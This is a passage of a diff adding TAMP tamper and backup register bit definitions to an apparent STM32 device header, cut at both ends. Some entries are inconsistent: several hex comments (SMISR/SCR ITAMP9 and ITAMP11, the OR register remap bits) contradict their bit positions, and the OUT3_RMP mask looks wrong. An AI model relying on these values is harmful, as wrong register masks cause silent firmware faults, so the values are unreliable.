TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP4F_Pos (19U) +#define TAMP_SR_ITAMP4F_Msk (0x1UL << TAMP_SR_ITAMP4F_Pos) /*!< 0x00080000 */ +#define TAMP_SR_ITAMP4F TAMP_SR_ITAMP4F_Msk +#define TAMP_SR_ITAMP5F_Pos (20U) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21U) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22U) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23U) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24U) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26U) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27U) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28U) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk +#define TAMP_SR_ITAMP15F_Pos (30U) +#define TAMP_SR_ITAMP15F_Msk (0x1UL << TAMP_SR_ITAMP15F_Pos) /*!< 0x40000000 */ +#define TAMP_SR_ITAMP15F TAMP_SR_ITAMP15F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0U) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1U) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2U) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3U) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4U) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5U) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6U) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7U) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16U) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17U) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00020000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18U) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP4MF_Pos (19U) +#define TAMP_MISR_ITAMP4MF_Msk (0x1UL << TAMP_MISR_ITAMP4MF_Pos) /*!< 0x00080000 */ +#define TAMP_MISR_ITAMP4MF TAMP_MISR_ITAMP4MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20U) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21U) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22U) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23U) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24U) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26U) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27U) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28U) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk +#define TAMP_MISR_ITAMP15MF_Pos (30U) +#define TAMP_MISR_ITAMP15MF_Msk (0x1UL << TAMP_MISR_ITAMP15MF_Pos) /*!< 0x40000000 */ +#define TAMP_MISR_ITAMP15MF TAMP_MISR_ITAMP15MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0U) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1U) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2U) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3U) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4U) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5U) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6U) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7U) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16U) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17U) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00020000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18U) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP4MF_Pos (19U) +#define TAMP_SMISR_ITAMP4MF_Msk (0x1UL << TAMP_SMISR_ITAMP4MF_Pos) /*!< 0x00080000 */ +#define TAMP_SMISR_ITAMP4MF TAMP_SMISR_ITAMP4MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20U) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21U) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22U) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23U) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24U) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26U) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27U) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28U) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk +#define TAMP_SMISR_ITAMP15MF_Pos (30U) +#define TAMP_SMISR_ITAMP15MF_Msk (0x1UL << TAMP_SMISR_ITAMP15MF_Pos) /*!< 0x40000000 */ +#define TAMP_SMISR_ITAMP15MF TAMP_SMISR_ITAMP15MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0U) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1U) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2U) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3U) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4U) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5U) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6U) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7U) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16U) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17U) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00020000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18U) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP4F_Pos (19U) +#define TAMP_SCR_CITAMP4F_Msk (0x1UL << TAMP_SCR_CITAMP4F_Pos) /*!< 0x00080000 */ +#define TAMP_SCR_CITAMP4F TAMP_SCR_CITAMP4F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20U) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21U) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22U) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23U) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24U) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26U) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27U) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28U) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk +#define TAMP_SCR_CITAMP15F_Pos (30U) +#define TAMP_SCR_CITAMP15F_Msk (0x1UL << TAMP_SCR_CITAMP15F_Pos) /*!< 0x40000000 */ +#define TAMP_SCR_CITAMP15F TAMP_SCR_CITAMP15F_Msk +/******************** Bits definition for TAMP_COUNT1R register ***************/ +#define TAMP_COUNT1R_COUNT_Pos (0U) +#define TAMP_COUNT1R_COUNT_Msk (0xFFFFFFFFUL << TAMP_COUNT1R_COUNT_Pos)/*!< 0xFFFFFFFF */ +#define TAMP_COUNT1R_COUNT TAMP_COUNT1R_COUNT_Msk + +/******************** Bits definition for TAMP_OR register ***************/ +#define TAMP_OR_OUT3_RMP_Pos (1U) +#define TAMP_OR_OUT3_RMP_Msk (0x2UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00000006 */ +#define TAMP_OR_OUT3_RMP TAMP_OR_OUT3_RMP_Msk +#define TAMP_OR_OUT3_RMP_0 (0x1UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00100000 */ +#define TAMP_OR_OUT3_RMP_1 (0x2UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00200000 */ +#define TAMP_OR_OUT5_RMP_Pos (3U) +#define TAMP_OR_OUT5_RMP_Msk (0x1UL << TAMP_OR_OUT5_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_OUT5_RMP TAMP_OR_OUT5_RMP_Msk +#define TAMP_OR_IN2_RMP_Pos (8U) +#define TAMP_OR_IN2_RMP_Msk (0x1UL << TAMP_OR_IN2_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN2_RMP TAMP_OR_IN2_RMP_Msk +#define TAMP_OR_IN3_RMP_Pos (9U) +#define TAMP_OR_IN3_RMP_Msk (0x1UL << TAMP_OR_IN3_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN3_RMP TAMP_OR_IN3_RMP_Msk +#define TAMP_OR_IN4_RMP_Pos (10U) +#define TAMP_OR_IN4_RMP_Msk (0x1UL << TAMP_OR_IN4_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN4_RMP TAMP_OR_IN4_RMP_Msk + +/******************** Bits definition for TAMP_ERCFG register ***************/ +#define TAMP_ERCFGR_ERCFG0_Pos (0U) +#define TAMP_ERCFGR_ERCFG0_Msk (0x1UL << TAMP_ERCFGR_ERCFG0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR_ERCFG0 TAMP_ERCFGR_ERCFG0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0U) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0U) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0U) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0U) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0U) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0U) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0U) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0U) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0U) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0U) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0U) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0U) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0U) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0U) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0U) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0U) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0U) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0U) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0U) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0U) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0U) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0U) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0U) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0U) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0U) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0U) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0U) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0U) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0U) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0U) +#define TAMP_BKP29R_Msk 